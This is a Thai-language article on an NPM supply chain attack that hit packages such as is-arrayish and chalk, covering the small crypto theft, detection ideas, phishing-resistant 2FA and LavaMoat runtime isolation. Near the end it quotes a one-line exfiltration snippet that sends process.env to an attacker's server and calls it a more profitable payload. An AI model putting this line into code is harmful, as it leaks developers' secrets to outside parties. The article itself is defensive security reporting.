การโจมตี supply chain ล่าสุดที่มุ่งเป้าไปยังแพ็กเกจ NPM ยอดนิยมได้เปิดเผยช่องโหว่ด้านความปลอดภัยที่ร้ายแรงในการพัฒนา JavaScript แม้ว่าผลกระทบทางการเงินจะยังคงอยู่ในระดับที่ต่ำอย่างน่าประหลาดใจ การโจมตีครั้งนี้ได้บุกรุกแพ็กเกจที่ใช้กันอย่างแพร่หลายหลายตัว รวมถึง is-arrayish
และ chalk
ซึ่งมีการดาวน์โหลดรวมกันหลายพันล้านครั้งต่อสัปดาห์ อย่างไรก็ตาม ผู้โจมตีสามารถขโมยเงินดิจิทัลได้เพียงประมาณ 500 ดอลลาร์สหรัฐ ซึ่งเน้นย้ำทั้งขนาดที่อาจเกิดขึ้นและข้อจำกัดในปัจจุบันของการโจมตีดังกล่าว
ผลกระทบทางการเงินจากการโจมตี:
- จำนวนเงินดิจิทัลที่ถูกขโมยทั้งหมด: ประมาณ 500 ดอลลาร์สหรัฐ
- ระยะเวลาการโจมตี: ไม่กี่ชั่วโมงก่อนที่จะถูกตรวจพบ
- แพ็กเกจที่ได้รับผลกระทบ:
is-arrayish
,chalk
และอื่นๆ - จำนวนการดาวน์โหลดรวมต่อสัปดาห์: 2-3 พันล้านครั้ง
ระบบตรวจจับต้องการการปรับปรุงครั้งใหญ่
ชุมชน JavaScript เรียกร้องให้มีการตรวจจับแพ็กเกจที่เป็นอันตรายโดยอัตโนมัติที่ดีขึ้น นักพัฒนาหลายคนแนะนำว่า NPM ควรใช้ระบบเพื่อตั้งค่าสถานะเตือนสำหรับการเผยแพร่ที่น่าสงสัย โดยเฉพาะอย่างยิ่งที่มีโค้ดที่ถูกปิดบังด้วยชื่อตัวแปรฐานสิบหกและการค้นหาอาร์เรย์ที่ผิดปกติ การตรวจสอบง่าย ๆ เช่น ความซับซ้อนต่อบรรทัดหรือความยาวบรรทัดสูงสุดจะสามารถจับการโจมตีครั้งนี้ได้ อย่างไรก็ตาม ความท้าทายอยู่ที่ลักษณะการไล่ล่าระหว่างแมวกับหนูของความปลอดภัย - ผู้เขียนมัลแวร์ปรับเทคนิคของพวกเขาอย่างต่อเนื่องเพื่อหลีกเลี่ยงระบบตรวจจับ
การโจมตีใช้วิธีการปิดบังที่ดิบซึ่งทำให้ตรวจจับได้ง่าย ผู้โจมตีที่มีความซับซ้อนมากขึ้นสามารถหลีกเลี่ยงสัญญาณเตือนที่ชัดเจนเช่นนี้ได้โดยการใช้ชื่อตัวแปรที่มีความหมายและโครงสร้างโค้ดที่สะอาดกว่า ทำให้การตรวจจับยากขึ้นอย่างมาก
ช่องโหว่การยืนยันตัวตนสองขั้นตอนยังคงเป็นปัญหาสำคัญ
การโจมตีประสบความสำเร็จบางส่วนเนื่องจากกลยุทธ์ phishing ที่หลีกเลี่ยงมาตรการรักษาความปลอดภัยที่มีอยู่ แม้ว่า NPM จะรองรับวิธีการยืนยันตัวตนที่แข็งแกร่งรวมถึงกุญแจฮาร์ดแวร์เช่น YubiKey แต่การใช้งานก็ไม่ได้มีความปลอดภัยสมบูรณ์ ชุมชนกำลังผลักดันให้มีการยืนยันตัวตนสองขั้นตอนที่ไม่สามารถถูก phish ได้และกระบวนการตรวจสอบที่ดีขึ้นสำหรับการเผยแพร่แพ็กเกจ
นักพัฒนาบางคนเสนอระบบตรวจสอบที่การเผยแพร่ต้องการการอนุมัติผ่านอีเมลภายในหนึ่งชั่วโมงหลังจากการเผยแพร่ ร่วมกับการยืนยันตัวตนสองขั้นตอนแยกต่างหาก คนอื่น ๆ แนะนำว่าการเผยแพร่อัตโนมัติควรใช้บริการที่คล้ายกับ PagerDuty ซึ่งต้องการการอนุมัติจากผู้ดูแลหลายคนที่มีอำนาจยับยั้ง
การปรับปรุงความปลอดภัย NPM ที่เสนอ:
- การตรวจจับอัตโนมัติของรูปแบบโค้ดที่ถูกปิดบัง
- การตรวจสอบความซับซ้อนต่อบรรทัดสำหรับรุ่นใหม่
- การตรวจสอบความยาวสูงสุดของบรรทัด
- ข้อกำหนดการยืนยันตัวตนสองขั้นตอนที่ไม่สามารถฟิชชิ่งได้
- การยืนยันอีเมลพร้อมช่วงเวลาอนุมัติหนึ่งชั่วโมง
- ระบบอนุมัติจากผู้ดูแลหลายคนสำหรับการเผยแพร่อัตโนมัติ
LavaMoat นำเสนอการป้องกันรันไทม์
เป็นการตอบสนองต่อช่องโหว่เหล่านี้ เครื่องมือเช่น LavaMoat กำลังได้รับความสนใจสำหรับการให้การป้องกันรันไทม์จากแพ็กเกจที่เป็นอันตราย LavaMoat ทำงานโดยการวางแต่ละ dependency ในช่องแยกต่างหากที่มีการเข้าถึงอ็อบเจ็กต์และ API ทั่วไปที่จำกัด วิธีการนี้สามารถป้องกันมัลแวร์จากการเข้าถึง browser API เช่น fetch
หรือ window.ethereum.request
แม้ว่ามันจะผ่านมาตรการรักษาความปลอดภัยอื่น ๆ ได้
เทคโนโลยีนี้สร้างระบบที่ใช้นโยบายที่แพ็กเกจสามารถเข้าถึงทรัพยากรที่พวกเขาต้องการอย่างชัดเจนเท่านั้น เมื่อโค้ดที่เป็นอันตรายพยายามเข้าถึง API ที่ไม่ได้รับอนุญาต มันจะไม่สามารถทำงานได้ ป้องกันแอปพลิเคชันโดยไม่ทำลายฟังก์ชันการทำงานที่ถูกต้อง
คุณสมบัติด้านความปลอดภัยของ LavaMoat :
- การแยกแยะแบบ Compartment สำหรับแต่ละ dependency
- การควบคุมการเข้าถึงแบบ Policy-driven สำหรับ global APIs
- การป้องกันแบบ Runtime จากการโจมตี supply chain
- การรวมเข้ากับ Webpack ผ่าน @lavamoat/webpack plugin
- เทคโนโลยีเดียวกันที่ใช้ใน MetaMask browser extension
ความสำเร็จทางการเงินที่จำกัดเผยให้เห็นข้อจำกัดของการโจมตี
แม้จะส่งผลกระทบต่อแพ็กเกจที่มีจำนวนการดาวน์โหลดจำนวนมหาศาล การขโมยเงินดิจิทัลของผู้โจมตียังคงอยู่ในระดับน้อยที่ประมาณ 500 ดอลลาร์สหรัฐ ผลตอบแทนที่ต่ำนี้เกิดขึ้นด้วยเหตุผลหลายประการ: การโจมตีถูกค้นพบอย่างรวดเร็ว ผู้ให้บริการกระเป๋าเงินได้ขึ้นบัญชีดำที่อยู่ที่เป็นอันตรายอย่างรวดเร็ว และผู้ใช้หลายคนได้รับคำเตือนก่อนที่จะทำธุรกรรมให้เสร็จสิ้น
นี่เป็นการโจมตีแพ็กเกจ npm ที่ถูกต้องตามกฎหมายที่ลงเอยในเครื่องของนักพัฒนาหลายแสนเครื่องที่สร้างแอปพลิเคชันหลายหมื่นตัว
fetch(myserverurl+JSON.stringify(process.env)
จะมีกำไรมากกว่าหลายเท่าตัวสำหรับ payload
ความสำเร็จที่จำกัดแสดงให้เห็นว่าแม้ว่าการโจมตี supply chain จะก่อให้เกิดภัยคุกคามร้ายแรง มาตรการรักษาความปลอดภัยในปัจจุบันและความระมัดระวังของชุมชนสามารถลดผลกระทบได้อย่างมากเมื่อใช้อย่างเหมาะสม
ผลกระทบต่อระบบนิเวศที่กว้างขึ้น
เหตุการณ์นี้สะท้อนความท้าทายที่กว้างขึ้นใน software supply chain ที่ขยายไปเกิน JavaScript ช่องโหว่ที่คล้ายกันมีอยู่ใน package manager อื่น ๆ เช่น pip สำหรับ Python ที่สคริปต์การติดตั้งสามารถรันโค้ดใด ๆ บนเครื่องของนักพัฒนาได้เช่นกัน ขนาดของ NPM ทำให้มันเป็นเป้าหมายที่น่าสนใจ แต่ความท้าทายด้านความปลอดภัยพื้นฐานส่งผลกระทบต่อระบบนิเวศการพัฒนาสมัยใหม่ส่วนใหญ่
การโจมตีนี้เป็นการเตือนใจว่าการจัดการ dependency ต้องการความระมัดระวังอย่างต่อเนื่อง ในขณะที่เครื่องมือและกระบวนการยังคงปรับปรุงอยู่ นักพัฒนาต้องสร้างสมดุลระหว่างความสะดวกสบายกับความปลอดภัย โดยมักจะยอมรับความเสี่ยงบางอย่างเพื่อประโยชน์ด้านผลิตภาพที่ระบบนิเวศแพ็กเกจมอบให้
อ้างอิง: You too can run malware from NPM (I mean without consequences)